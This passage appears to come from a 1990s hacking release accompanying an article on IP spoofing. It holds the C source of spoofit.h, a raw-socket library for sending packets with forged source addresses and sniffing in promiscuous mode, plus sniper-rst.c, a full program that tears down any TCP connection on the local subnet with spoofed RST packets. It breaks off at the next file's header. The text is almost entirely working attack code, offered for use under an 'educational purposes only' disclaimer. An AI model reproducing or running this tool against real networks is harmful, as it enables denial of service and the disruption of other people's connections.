    /* they are not very different, and not hard to use, so */
    /* you'll easily use my struct's without any problem, */
    /* this code and the examples show how to use them. */
    /* my apologies for this inconvenience. */
    /* */
    /* None of this code can be used in commercial software. You are free to */
    /* use it in any other non-commercial software (modified or not) as long */
    /* as you give me the credits for it. You can spread this include file, */
    /* but keep it unmodified. */
    /* */
    /**************************************************************************/
    /* */
    /* Easiest way to understand this library is to look at the use of it, in */
    /* the example progs. */
    /* */
    /**** Sending packets *****************************************************/
    /* */
    /* int open_sending (void) */
    /* Returns a filedescriptor to the sending socket. */
    /* close it with close (int filedesc) */
    /* */
    /* void transmit_TCP (int sp_fd, char *sp_data, */
    /* int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen, */
    /* char *sp_source, unsigned short sp_source_port, */
    /* char *sp_dest,unsigned short sp_dest_port, */
    /* unsigned long sp_seq, unsigned long sp_ack, */
    /* unsigned short sp_flags) */
    /* fire data away in a TCP packet */
    /* sp_fd : raw socket filedesc. */
    /* sp_data : IP options (you should do the padding) */
    /* TCP options (you should do the padding) */
    /* data to be transmitted */
    /* (NULL is nothing) */
    /* note that all is optional, and IP en TCP options are*/
    /* not often used. */
    /* All data is put after eachother in one buffer. */
    /* sp_ipoptlen : length of IP options (in bytes) */
    /* sp_tcpoptlen : length of TCP options (in bytes) */
    /* sp_datalen : amount of data to be transmitted (bytes) */
    /* sp_source : spoofed host that"sends packet" */
    /* sp_source_port: spoofed port that "sends packet" */
    /* sp_dest : host that should receive packet */
    /* sp_dest_port : port that should receive packet */
    /* sp_seq : sequence number of packet */
    /* sp_ack : ACK of packet */
    /* sp_flags : flags of packet (URG,ACK,PSH,RST,SYN,FIN) */
    /* */
    /* void transmit_UDP (int sp_fd, char *sp_data, */
    /* int sp_ipoptlen, int sp_datalen, */
    /* char *sp_source, unsigned short sp_source_port, */
    /* char *sp_dest, unsigned short sp_dest_port) */
    /* fire data away in an UDP packet */
    /* sp_fd : raw socket filedesc. */
    /* sp_data : IP options */
    /* data to be transmitted */
    /* (NULL if none) */
    /* sp_ipoptlen : length of IP options (in bytes) */
    /* sp_datalen : amount of data to be transmitted */
    /* sp_source : spoofed host that"sends packet" */
    /* sp_source_port: spoofed port that "sends packet" */
    /* sp_dest : host that should receive packet */
    /* sp_dest_port : port that should receive packet */
    /* */
    /**** Receiving packets ***************************************************/
    /* */
    /* int open_receiving (char *rc_device, char mode) */
    /* Returns fdesc to a receiving socket */
    /* (if mode: IO_HANDLE don't call this twice, global var */
    /* rc_fd_abc123 is initialised) */
    /* rc_device: the device to use e.g. "eth0", "ppp0" */
    /* be sure to change DEV_PREFIX accordingly! */
    /* DEV_PREFIX is the length in bytes of the header that */
    /* comes with a SOCKET_PACKET due to the network device */
    /* mode: 0: normal mode, blocking, (read will wait till packet */
    /* comes, mind you, we are in PROMISC mode) */
    /* IO_NONBLOCK: non-blocking mode (read will not wait till */
    /* usefull for active polling) */
    /* IO_HANDLE installs the signal handler that updates SEQ,ACK,..*/
    /* (IO_HANDLE is not recommended to use, as it should be */
    /* modified according to own use, and it works bad on heavy */
    /* traffic continuous monitoring. I needed it once, but left it */
    /* in to make you able to have a look at Signal handled IO, */
    /* personally I would have removed it, but some thought it */
    /* doesn't do any harm anyway, so why remove... ) */
    /* (I'm not giving any more info on IO_HANDLE as it is not */
    /* needed for the example programs, and interested people can */
    /* easilythey figure the code out theirselves.) */
    /* (Besides IO_HANDLE can only be called ONCE in a program, */
    /* other modes multiple times) */
    /* */
    /* int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start, */
    /* unsigned char *proto) */
    /* This waits for a packet (mode default) and puts it in buffer or */
    /* returns whether there is a pack or not (IO_NONBLOCK). */
    /* It returns the packet length if there is one available, else 0 */
    /* */
    /* int wait_packet(int wp_fd,struct sp_wait_packet *ret_values, */
    /* char *wp_source, unsigned short wp_source_port, */
    /* char *wp_dest, unsigned short wp_dest_port, */
    /* int wp_flags, int wait_time); */
    /* wp_fd: a receiving socket (default or IO_NONBLOCK) */
    /* ret_values: pointer to a sp_wait_packet struct, that contains SEQ, */
    /* ACK, flags, datalen of that packet. For further packet */
    /* handling see the examples. */
    /* struct sp_wait_packet { */
    /* unsigned long seq,ack; */
    /* unsigned short flags; */
    /* int datalen; */
    /* }; */
    /* wp_source, wp_source_port : sender of packet */
    /* wp_dest, wp_dest_port : receiver of packet */
    /* wp_flags: flags that should be present in packet.. (mind you there */
    /* could be more present, so check on return) */
    /* note: if you don't care about flag, use 0 */
    /* wait_time: if not zero, this function will return -1 if no correct */
    /* packet has arrived within wait_time secs. */
    /* (only works on IO_NONBLOCK socket) */
    /* */
    /* void set_filter (char *f_source, unsigned short f_source_port, */
    /* char *f_dest, unsigned short f_dest_port) */
    /* (for use with IO_HANDLE) */
    /* Start the program to watch all trafic from source/port to */
    /* dest/port. This enables the updating of global data. Can */
    /* be called multiple times. */
    /* */
    /* void close_receiving (void) */
    /* When opened a IO_HANDLE mode receiving socket close it with */
    /* this. */
    /* */
    /**** Global DATA (IO_HANDLE mode) ****************************************/
    /* */
    /* When accessing global data, copy the values to local vars and then use */
    /* them. Reduce access time to a minimum. */
    /* Mind you use of this is very limited, if you are a novice on IO, just */
    /* ignore it, the other functions are good enough!). If not, rewrite the */
    /* handler for your own use... */
    /* */
    /* sig_atomic_t SP_DATA_BUSY */
    /* Put this on NON-ZERO when accesing global data. Incoming */
    /* packets will be ignored then, data can not be overwritten. */
    /* */
    /* unsigned long int CUR_SEQ, CUR_ACK; */
    /* Last recorded SEQ and ACK number of the filtered "stream". */
    /* Before accessing this data set SP_DATA_BUSY non-zero, */
    /* afterward set it back to zero. */
    /* */
    /* unsigned long int CUR_COUNT; */
    /* increased everytime other data is updated */
    /* */
    /* unsigned int CUR_DATALEN; */
    /* Length of date in last TCP packet */
    /* */
    /**************************************************************************/

    #include "sys/socket.h" /* includes, what would we do without them */
    #include "netdb.h"
    #include "stdlib.h"
    #include "unistd.h"
    #include "stdio.h"
    #include "errno.h"
    #include "netinet/in.h"
    #include "netinet/ip.h"
    #include "linux/if.h"
    #include "sys/ioctl.h"
    #include "sys/types.h"
    #include "signal.h"
    #include "fcntl.h"

    #undef DEBUG
    #define IP_VERSION 4 /* keep y'r hands off... */
    #define MTU 1500
    #define IP_HEAD_BASE 20 /* using fixed lengths to send */
    #define TCP_HEAD_BASE 20 /* no options etc... */
    #define UDP_HEAD_BASE 8 /* Always fixed */

    #define IO_HANDLE 1
    #define IO_NONBLOCK 2

    int DEV_PREFIX = 9999;
    sig_atomic_t WAIT_PACKET_WAIT_TIME=0;

    /**** IO_HANDLE ************************************************************/
    int rc_fd_abc123;
    sig_atomic_t RC_FILTSET=0;
    char rc_filter_string[50]; /* x.x.x.x.p-y.y.y.y.g */

    sig_atomic_t SP_DATA_BUSY=0;
    unsigned long int CUR_SEQ=0, CUR_ACK=0, CUR_COUNT=0;
    unsigned int CUR_DATALEN;
    unsigned short CUR_FLAGS;
    /***************************************************************************/

    struct sp_wait_packet
    {
    unsigned long seq,ack;
    unsigned short flags;
    int datalen;
    };

    /* Code from Sniffit - BTW my own program.... no copyright violation here */
    #define URG 32 /* TCP flags */
    #define ACK 16
    #define PSH 8
    #define RST 4
    #define SYN 2
    #define FIN 1

    struct PACKET_info
    {
    int len, datalen;
    unsigned long int seq_nr, ACK_nr;
    u_char FLAGS;
    };

    struct IP_header /* The IPheader (without options) */
    {
    unsigned char verlen, type;
    unsigned short length, ID, flag_offset;
    unsigned char TTL, protocol;
    unsigned short checksum;
    unsigned long int source, destination;
    };

    struct TCP_header /* The TCP header (without options) */
    {
    unsigned short source, destination;
    unsigned long int seq_nr, ACK_nr;
    unsigned short offset_flag, window, checksum, urgent;
    };

    struct UDP_header /* The UDP header */
    {
    unsigned short source, destination;
    unsigned short length, checksum;
    };

    struct pseudo_IP_header /* The pseudo IP header (checksum calc) */
    {
    unsigned long int source, destination;
    char zero_byte, protocol;
    unsigned short TCP_UDP_len;
    };

    /* data structure for argument passing */

    struct sp_data_exchange {
    int fd; /* Sh!t from transmit_TCP */
    char *data;
    int datalen;
    char *source; unsigned short source_port;
    char *dest; unsigned short dest_port;
    unsigned long seq, ack;
    unsigned short flags;

    char *buffer; /* work buffer */

    int IP_optlen; /* IP options length in bytes */
    int TCP_optlen; /* TCP options length in bytes */
    };

    /**************** all functions *******************************************/
    void transmit_TCP (int fd, char *sp_data,
    int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen,
    char *sp_source, unsigned short sp_source_port,
    char *sp_dest, unsigned short sp_dest_port,
    unsigned long sp_seq, unsigned long sp_ack,
    unsigned short sp_flags);

    void transmit_UDP (int sp_fd, char *sp_data,
    int ipoptlen, int sp_datalen,
    char *sp_source, unsigned short sp_source_port,
    char *sp_dest, unsigned short sp_dest_port);

    int get_packet (int rc_fd, char *buffer, int *, unsigned char*);
    int wait_packet(int,struct sp_wait_packet *,char *, unsigned short,char *, unsigned short, int, int);

    static unsigned long sp_getaddrbyname(char *);

    int open_sending (void);
    int open_receiving (char *, char);
    void close_receiving (void);

    void sp_send_packet (struct sp_data_exchange *, unsigned char);
    void sp_fix_TCP_packet (struct sp_data_exchange *);
    void sp_fix_UDP_packet (struct sp_data_exchange *);
    void sp_fix_IP_packet (struct sp_data_exchange *, unsigned char);
    unsigned short in_cksum(unsigned short *, int );

    void rc_sigio (int);
    void set_filter (char *, unsigned short, char *, unsigned short);

    /********************* let the games commence ****************************/

    static unsigned long sp_getaddrbyname(char *sp_name)
    {
    struct hostent *sp_he;
    int i;

    if(isdigit(*sp_name))
    return inet_addr(sp_name);

    for(i=0;i&lt;100;i++)
    {
    if(!(sp_he = gethostbyname(sp_name)))
    {printf("WARNING: gethostbyname failure!\n");
    sleep(1);
    if(i&gt;=3) /* always a retry here in this kind of application */
    printf("Coudn't resolv hostname."), exit(1);
    }
    else break;
    }
    return sp_he ? *(long*)*sp_he-&gt;h_addr_list : 0;
    }

    int open_sending (void)
    {
    struct protoent *sp_proto;
    int sp_fd;
    int dummy=1;

    /* they don't come rawer */
    if ((sp_fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))==-1)
    perror("Couldn't open Socket."), exit(1);

    #ifdef DEBUG
    printf("Raw socket ready\n");
    #endif
    return sp_fd;
    }

    void sp_send_packet (struct sp_data_exchange *sp, unsigned char proto)
    {
    int sp_status;
    struct sockaddr_in sp_server;
    struct hostent *sp_help;
    int HEAD_BASE;

    /* Construction of destination */
    bzero((char *)&sp_server, sizeof(struct sockaddr));
    sp_server.sin_family = AF_INET;
    sp_server.sin_addr.s_addr = inet_addr(sp-&gt;dest);
    if (sp_server.sin_addr.s_addr == (unsigned int)-1)
    { /* if target not in DOT/number notation */
    if (!(sp_help=gethostbyname(sp-&gt;dest)))
    fprintf(stderr,"unknown host %s\n", sp-&gt;dest), exit(1);
    bcopy(sp_help-&gt;h_addr, (caddr_t)&sp_server.sin_addr, sp_help-&gt;h_length);
    };

    switch(proto)
    {
    case 6: HEAD_BASE = TCP_HEAD_BASE; break; /* TCP */
    case 17: HEAD_BASE = UDP_HEAD_BASE; break; /* UDP */
    default: exit(1); break;
    };
    sp_status = sendto(sp-&gt;fd, (char *)(sp-&gt;buffer), sp-&gt;datalen+HEAD_BASE+IP_HEAD_BASE+sp-&gt;IP_optlen, 0,
    (struct sockaddr *)&sp_server,sizeof(struct sockaddr));
    if (sp_status &lt; 0 || sp_status != sp-&gt;datalen+HEAD_BASE+IP_HEAD_BASE+sp-&gt;IP_optlen)
    {
    if (sp_status &lt; 0)
    perror("Sendto"), exit(1);
    printf("hmm... Only transmitted %d of %d bytes.\n", sp_status,
    sp-&gt;datalen+HEAD_BASE);
    };
    #ifdef DEBUG
    printf("Packet transmitted...\n");
    #endif
    }

    void sp_fix_IP_packet (struct sp_data_exchange *sp, unsigned char proto)
    {
    struct IP_header *sp_help_ip;
    int HEAD_BASE;

    switch(proto)
    {
    case 6: HEAD_BASE = TCP_HEAD_BASE; break; /* TCP */
    case 17: HEAD_BASE = UDP_HEAD_BASE; break; /* UDP */
    default: exit(1); break;
    };

    sp_help_ip = (struct IP_header *) (sp-&gt;buffer);
    sp_help_ip-&gt;verlen = (IP_VERSION &lt;&lt; 4) | ((IP_HEAD_BASE+sp-&gt;IP_optlen)/4);
    sp_help_ip-&gt;type = 0;
    sp_help_ip-&gt;length = htons(IP_HEAD_BASE+HEAD_BASE+sp-&gt;datalen+sp-&gt;IP_optlen+sp-&gt;TCP_optlen);
    sp_help_ip-&gt;ID = htons(12545); /* TEST */
    sp_help_ip-&gt;flag_offset = 0;
    sp_help_ip-&gt;TTL = 69;
    sp_help_ip-&gt;protocol = proto;
    sp_help_ip-&gt;source = sp_getaddrbyname(sp-&gt;source);
    sp_help_ip-&gt;destination = sp_getaddrbyname(sp-&gt;dest);
    sp_help_ip-&gt;checksum=in_cksum((unsigned short *) (sp-&gt;buffer),
    IP_HEAD_BASE+sp-&gt;IP_optlen);
    #ifdef DEBUG
    printf("IP header fixed...\n");
    #endif
    }

    void sp_fix_TCP_packet (struct sp_data_exchange *sp)
    {
    char sp_pseudo_ip_construct[MTU];
    struct TCP_header *sp_help_tcp;
    struct pseudo_IP_header *sp_help_pseudo;
    int i;

    for(i=0;i&lt;MTU;i++)
    {sp_pseudo_ip_construct[i]=0;}

    sp_help_tcp = (struct TCP_header *) (sp-&gt;buffer+IP_HEAD_BASE+sp-&gt;IP_optlen);
    sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct;

    sp_help_tcp-&gt;offset_flag = htons( (((TCP_HEAD_BASE+sp-&gt;TCP_optlen)/4)&lt;&lt;12) | sp-&gt;flags);
    sp_help_tcp-&gt;seq_nr = htonl(sp-&gt;seq);
    sp_help_tcp-&gt;ACK_nr = htonl(sp-&gt;ack);
    sp_help_tcp-&gt;source = htons(sp-&gt;source_port);
    sp_help_tcp-&gt;destination = htons(sp-&gt;dest_port);
    sp_help_tcp-&gt;window = htons(0x7c00); /* dummy for now 'wujx' */

    sp_help_pseudo-&gt;source = sp_getaddrbyname(sp-&gt;source);
    sp_help_pseudo-&gt;destination = sp_getaddrbyname(sp-&gt;dest);
    sp_help_pseudo-&gt;zero_byte = 0;
    sp_help_pseudo-&gt;protocol = 6;
    sp_help_pseudo-&gt;TCP_UDP_len = htons(sp-&gt;datalen+TCP_HEAD_BASE+sp-&gt;TCP_optlen);

    memcpy(sp_pseudo_ip_construct+12, sp_help_tcp, sp-&gt;TCP_optlen+sp-&gt;datalen+TCP_HEAD_BASE);
    sp_help_tcp-&gt;checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct,
    sp-&gt;datalen+12+TCP_HEAD_BASE+sp-&gt;TCP_optlen);
    #ifdef DEBUG
    printf("TCP header fixed...\n");
    #endif
    }

    void transmit_TCP (int sp_fd, char *sp_data,
    int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen,
    char *sp_source, unsigned short sp_source_port,
    char *sp_dest, unsigned short sp_dest_port,
    unsigned long sp_seq, unsigned long sp_ack,
    unsigned short sp_flags)
    {
    char sp_buffer[1500];
    struct sp_data_exchange sp_struct;

    bzero(sp_buffer,1500);
    if (sp_ipoptlen!=0)
    memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen);

    if (sp_tcpoptlen!=0)
    memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen,
    sp_data+sp_ipoptlen,sp_tcpoptlen);
    if (sp_datalen!=0)
    memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen+sp_tcpoptlen,
    sp_data+sp_ipoptlen+sp_tcpoptlen,sp_datalen);

    sp_struct.fd = sp_fd;
    sp_struct.data = sp_data;
    sp_struct.datalen = sp_datalen;
    sp_struct.source = sp_source;
    sp_struct.source_port = sp_source_port;
    sp_struct.dest = sp_dest;
    sp_struct.dest_port = sp_dest_port;
    sp_struct.seq = sp_seq;
    sp_struct.ack = sp_ack;
    sp_struct.flags = sp_flags;
    sp_struct.buffer = sp_buffer;
    sp_struct.IP_optlen = sp_ipoptlen;
    sp_struct.TCP_optlen = sp_tcpoptlen;

    sp_fix_TCP_packet(&sp_struct);
    sp_fix_IP_packet(&sp_struct, 6);
    sp_send_packet(&sp_struct, 6);
    }

    void sp_fix_UDP_packet (struct sp_data_exchange *sp)
    {
    char sp_pseudo_ip_construct[MTU];
    struct UDP_header *sp_help_udp;
    struct pseudo_IP_header *sp_help_pseudo;
    int i;

    for(i=0;i&lt;MTU;i++)
    {sp_pseudo_ip_construct[i]=0;}

    sp_help_udp = (struct UDP_header *) (sp-&gt;buffer+IP_HEAD_BASE+sp-&gt;IP_optlen);
    sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct;

    sp_help_udp-&gt;source = htons(sp-&gt;source_port);
    sp_help_udp-&gt;destination = htons(sp-&gt;dest_port);
    sp_help_udp-&gt;length = htons(sp-&gt;datalen+UDP_HEAD_BASE);

    sp_help_pseudo-&gt;source = sp_getaddrbyname(sp-&gt;source);
    sp_help_pseudo-&gt;destination = sp_getaddrbyname(sp-&gt;dest);
    sp_help_pseudo-&gt;zero_byte = 0;
    sp_help_pseudo-&gt;protocol = 17;
    sp_help_pseudo-&gt;TCP_UDP_len = htons(sp-&gt;datalen+UDP_HEAD_BASE);

    memcpy(sp_pseudo_ip_construct+12, sp_help_udp, sp-&gt;datalen+UDP_HEAD_BASE);
    sp_help_udp-&gt;checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct,
    sp-&gt;datalen+12+UDP_HEAD_BASE);
    #ifdef DEBUG
    printf("UDP header fixed...\n");
    #endif
    }

    void transmit_UDP (int sp_fd, char *sp_data,
    int sp_ipoptlen, int sp_datalen,
    char *sp_source, unsigned short sp_source_port,
    char *sp_dest, unsigned short sp_dest_port)
    {
    char sp_buffer[1500];
    struct sp_data_exchange sp_struct;

    bzero(sp_buffer,1500);

    if (sp_ipoptlen!=0)
    memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen);
    if (sp_data!=NULL)
    memcpy(sp_buffer+IP_HEAD_BASE+UDP_HEAD_BASE+sp_ipoptlen,
    sp_data+sp_ipoptlen,sp_datalen);
    sp_struct.fd = sp_fd;
    sp_struct.data = sp_data;
    sp_struct.datalen = sp_datalen;
    sp_struct.source = sp_source;
    sp_struct.source_port = sp_source_port;
    sp_struct.dest = sp_dest;
    sp_struct.dest_port = sp_dest_port;
    sp_struct.buffer = sp_buffer;
    sp_struct.IP_optlen = sp_ipoptlen;
    sp_struct.TCP_optlen = 0;

    sp_fix_UDP_packet(&sp_struct);
    sp_fix_IP_packet(&sp_struct, 17);
    sp_send_packet(&sp_struct, 17);
    }

    /* This routine stolen from ping.c -- HAHAHA!*/
    unsigned short in_cksum(unsigned short *addr,int len)
    {
    register int nleft = len;
    register unsigned short *w = addr;
    register int sum = 0;
    unsigned short answer = 0;

    while (nleft &gt; 1)
    {
    sum += *w++;
    nleft -= 2;
    }
    if (nleft == 1)
    {
    *(u_char *)(&answer) = *(u_char *)w ;
    sum += answer;
    }
    sum = (sum &gt;&gt; 16) + (sum & 0xffff);
    sum += (sum &gt;&gt; 16);
    answer = ~sum;
    return(answer);
    }

    /************************* Receiving department ****************************/

    int open_receiving (char *rc_device, char mode)
    {
    int or_fd;
    struct sigaction rc_sa;
    int fcntl_flag;
    struct ifreq ifinfo;
    char test;

    /* create snoop socket and set interface promisc */
    if ((or_fd = socket(AF_INET, SOCK_PACKET, htons(0x3)))==-1)
    perror("Couldn't open Socket."), exit(1);
    strcpy(ifinfo.ifr_ifrn.ifrn_name,rc_device);
    if(ioctl(or_fd,SIOCGIFFLAGS,&ifinfo)&lt;0)
    perror("Couldn't get flags."), exit(1);
    ifinfo.ifr_ifru.ifru_flags |= IFF_PROMISC;
    if(ioctl(or_fd,SIOCSIFFLAGS,&ifinfo)&lt;0)
    perror("Couldn't set flags. (PROMISC)"), exit(1);

    if(mode&IO_HANDLE)
    { /* install handler */
    rc_sa.sa_handler=rc_sigio; /* we don't use signal() */
    sigemptyset(&rc_sa.sa_mask); /* because the timing window is */
    rc_sa.sa_flags=0; /* too big... */
    sigaction(SIGIO,&rc_sa,NULL);
    }

    if(fcntl(or_fd,F_SETOWN,getpid())&lt;0)
    perror("Couldn't set ownership"), exit(1);

    if(mode&IO_HANDLE)
    {
    if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))&lt;0)
    perror("Couldn't get FLAGS"), exit(1);
    if(fcntl(or_fd,F_SETFL,fcntl_flag|FASYNC|FNDELAY)&lt;0)
    perror("Couldn't set FLAGS"), exit(1);
    rc_fd_abc123=or_fd;
    }
    else
    {
    if(mode&IO_NONBLOCK)
    {
    if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))&lt;0)
    perror("Couldn't get FLAGS"), exit(1);
    if(fcntl(or_fd,F_SETFL,fcntl_flag|FNDELAY)&lt;0)
    perror("Couldn't set FLAGS"), exit(1);
    };
    };

    #ifdef DEBUG
    printf("Reading socket ready\n");
    #endif
    return or_fd;
    }

    /* returns 0 when no packet read! */
    int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start,unsigned char *proto)
    {
    char help_buffer[MTU];
    int pack_len;
    struct IP_header *gp_IPhead;

    pack_len = read(rc_fd,help_buffer,1500);
    if(pack_len&lt;0)
    {
    if(errno==EWOULDBLOCK)
    {pack_len=0;}
    else
    {perror("Read error:"); exit(1);}
    };
    if(pack_len&gt;0)
    {
    pack_len -= DEV_PREFIX;
    memcpy(buffer,help_buffer+DEV_PREFIX,pack_len);
    gp_IPhead = (struct IP_header *) buffer;
    if(proto != NULL)
    *proto = gp_IPhead-&gt;protocol;
    if(TCP_UDP_start != NULL)
    *TCP_UDP_start = (gp_IPhead-&gt;verlen & 0xF) &lt;&lt; 2;
    }
    return pack_len;
    }

    void wait_packet_timeout (int sig)
    {
    alarm(0);
    WAIT_PACKET_WAIT_TIME=1;
    }

    int wait_packet(int wp_fd,struct sp_wait_packet *ret_values,
    char *wp_source, unsigned short wp_source_port,
    char *wp_dest, unsigned short wp_dest_port, int wp_flags,
    int wait_time)
    {
    char wp_buffer[1500];
    struct IP_header *wp_iphead;
    struct TCP_header *wp_tcphead;
    unsigned long wp_sourcel, wp_destl;
    int wp_tcpstart;
    char wp_proto;

    wp_sourcel=sp_getaddrbyname(wp_source);
    wp_destl=sp_getaddrbyname(wp_dest);

    WAIT_PACKET_WAIT_TIME=0;
    if(wait_time!=0)
    {
    signal(SIGALRM,wait_packet_timeout);
    alarm(wait_time);
    }

    while(1)
    {
    while(get_packet(wp_fd, wp_buffer, &wp_tcpstart, &wp_proto)&lt;=0)
    {
    if (WAIT_PACKET_WAIT_TIME!=0) {alarm(0); return -1;}
    };
    if(wp_proto == 6)
    {
    wp_iphead= (struct IP_header *) wp_buffer;
    wp_tcphead= (struct TCP_header *) (wp_buffer+wp_tcpstart);
    if( (wp_sourcel==wp_iphead-&gt;source)&&(wp_destl==wp_iphead-&gt;destination) )
    {
    if( (ntohs(wp_tcphead-&gt;source)==wp_source_port) &&
    (ntohs(wp_tcphead-&gt;destination)==wp_dest_port) )
    {
    if( (wp_flags==0) || (ntohs(wp_tcphead-&gt;offset_flag)&wp_flags) )
    {
    ret_values-&gt;seq=ntohl(wp_tcphead-&gt;seq_nr);
    ret_values-&gt;ack=ntohl(wp_tcphead-&gt;ACK_nr);
    ret_values-&gt;flags=ntohs(wp_tcphead-&gt;offset_flag)&
    (URG|ACK|PSH|FIN|RST|SYN);
    ret_values-&gt;datalen = ntohs(wp_iphead-&gt;length) -
    ((wp_iphead-&gt;verlen & 0xF) &lt;&lt; 2) -
    ((ntohs(wp_tcphead-&gt;offset_flag) & 0xF000) &gt;&gt; 10);
    alarm(0);
    return 0;
    }
    }
    }
    }
    }
    /*impossible to get here.. but anyways*/
    alarm(0); return -1;
    }


    void close_receiving (void)
    {
    close(rc_fd_abc123);
    }

    void rc_sigio (int sig) /* Packet handling routine */
    {
    char rc_buffer[1500];
    char packet_id [50];
    unsigned char *rc_so, *rc_dest;
    struct IP_header *rc_IPhead;
    struct TCP_header *rc_TCPhead;
    int pack_len;

    if(RC_FILTSET==0) return;

    if(SP_DATA_BUSY!=0) /* skip this packet */
    return;

    pack_len = read(rc_fd_abc123,rc_buffer,1500);
    rc_IPhead = (struct IP_header *) (rc_buffer + DEV_PREFIX);
    if(rc_IPhead-&gt;protocol!=6) return; /* if not TCP */
    rc_TCPhead = (struct TCP_header *) (rc_buffer + DEV_PREFIX + ((rc_IPhead-&gt;verlen & 0xF) &lt;&lt; 2));

    rc_so = (unsigned char *) &(rc_IPhead-&gt;source);
    rc_dest = (unsigned char *) &(rc_IPhead-&gt;destination);
    sprintf(packet_id,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u",
    rc_so[0],rc_so[1],rc_so[2],rc_so[3],ntohs(rc_TCPhead-&gt;source),
    rc_dest[0],rc_dest[1],rc_dest[2],rc_dest[3],ntohs(rc_TCPhead-&gt;destination));

    if(strcmp(packet_id,rc_filter_string)==0)
    {
    SP_DATA_BUSY=1;
    CUR_SEQ = ntohl(rc_TCPhead-&gt;seq_nr);
    CUR_ACK = ntohl(rc_TCPhead-&gt;ACK_nr);
    CUR_FLAGS = ntohs(rc_TCPhead-&gt;offset_flag);
    CUR_DATALEN = ntohs(rc_IPhead-&gt;length) -
    ((rc_IPhead-&gt;verlen & 0xF) &lt;&lt; 2) -
    ((ntohs(rc_TCPhead-&gt;offset_flag) & 0xF000) &gt;&gt; 10);
    CUR_COUNT++;
    SP_DATA_BUSY=0;
    }
    }

    void set_filter (char *f_source, unsigned short f_source_port,
    char *f_dest, unsigned short f_dest_port)
    {
    unsigned char *f_so, *f_des;
    unsigned long f_sol, f_destl;

    RC_FILTSET=0;
    if(DEV_PREFIX==9999)
    fprintf(stderr,"DEV_PREFIX not set!\n"), exit(1);
    f_sol = sp_getaddrbyname(f_source);
    f_destl = sp_getaddrbyname(f_dest);
    f_so = (unsigned char *) &f_sol;
    f_des = (unsigned char *) &f_destl;
    sprintf(rc_filter_string,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u",
    f_so[0],f_so[1],f_so[2],f_so[3],f_source_port,
    f_des[0],f_des[1],f_des[2],f_des[3],f_dest_port);
    RC_FILTSET=1;
    }

    ------------------------------------------------------------------------------

    ---=[ sniper-rst.c ]=---------------------------------------------------------
    /**************************************************************************/
    /* Sniper-rst - Example program on connection killing with IP spoofing */
    /* Using the RST flag. */
    /* (illustration for 'A short overview of IP spoofing') */
    /* */
    /* Purpose - Killing any TCP connection on your subnet */
    /* */
    /* Author - Brecht Claerhout &lt;Coder@reptile.rug.ac.be&gt; */
    /* Serious advice, comments, statements, greets, always welcome */
    /* flames, moronic 3l33t &gt;/dev/null */
    /* */
    /* Disclaimer - This program is for educational purposes only. I am in */
    /* NO way responsible for what you do with this program, */
    /* or any damage you or this program causes. */
    /* */
    /* For whom - People with a little knowledge of TCP/IP, C source code */
    /* and general UNIX. Otherwise, please keep your hands of, */
    /* and catch up on those things first. */
    /* */
    /* Limited to - Linux 1.3.X or higher. */
    /* ETHERNET support ("eth0" device) */
    /* If you network configuration differs it shouldn't be to */
    /* hard to modify yourself. I got it working on PPP too, */
    /* but I'm not including extra configuration possibilities */
    /* because this would overload this first release that is */
    /* only a demonstration of the mechanism. */
    /* Anyway if you only have ONE network device (slip, */
    /* ppp,... ) after a quick look at this code and spoofit.h */
    /* it will only take you a few secs to fix it... */
    /* People with a bit of C knowledge and well known with */
    /* their OS shouldn't have to much trouble to port the code.*/
    /* If you do, I would love to get the results. */
    /* */
    /* Compiling - gcc -o sniper-rst sniper-rst.c */
    /* */
    /* Usage - Usage described in the spoofing article that came with this. */
    /* If you didn't get this, try to get the full release... */
    /* */
    /* See also - Sniffit (for getting the necessairy data on a connection) */
    /**************************************************************************/

    #include "spoofit.h"

    /* Those 2 'defines' are important for putting the receiving device in */
    /* PROMISCUOUS mode */
    #define INTERFACE "eth0"
    #define INTERFACE_PREFIX 14

    char SOURCE[100],DEST[100];
    int SOURCE_P,DEST_P;

    void main(int argc, char *argv[])
    {
    int i,stat,j;
    int fd_send, fd_receive;
    unsigned long sp_ack, sp_seq;
    unsigned short flags;
    struct sp_wait_packet pinfo;

    if(argc != 5)
    {
    printf("usage: %s host1 port1 host2 port2\n",argv[0]);
    exit(0);
    }

    /* preparing some work */
    DEV_PREFIX = INTERFACE_PREFIX;
    strcpy(SOURCE,argv[1]);
    SOURCE_P=atoi(argv[2]);
    strcpy(DEST,argv[3]);
    DEST_P=atoi(argv[4]);

    /* opening sending and receiving sockets */
    fd_send = open_sending();
    fd_receive = open_receiving(INTERFACE, IO_NONBLOCK); /* nonblocking IO */

    printf("Trying to terminate the connection\n");

    for(i=1;i&lt;=100;i++)
    {
    /* Waiting for a packet containing an ACK */
    stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,5);
    if(stat==-1) {printf("Connection 5 secs idle or dead...\n");exit(1);}
    sp_seq=pinfo.ack;
    sp_ack=0;
    j=0;
    /* Sending our fake Packet */

    /* for(j=0;j&lt;10;j++) This would be better */
    /* { */
    transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P,
    sp_seq+j,sp_ack,RST);
    /* } */

    /* waiting for confirmation */
    stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,0,5);
    if(stat&lt;0)
    {
    printf("Connection 5 secs idle or dead...\n");
    exit(0);
    }
    }
    printf("I did not succeed in killing it.\n");
    }

    ------------------------------------------------------------------------------

    ---=[ sniper-fin.c ]=---------------------------------------------------------
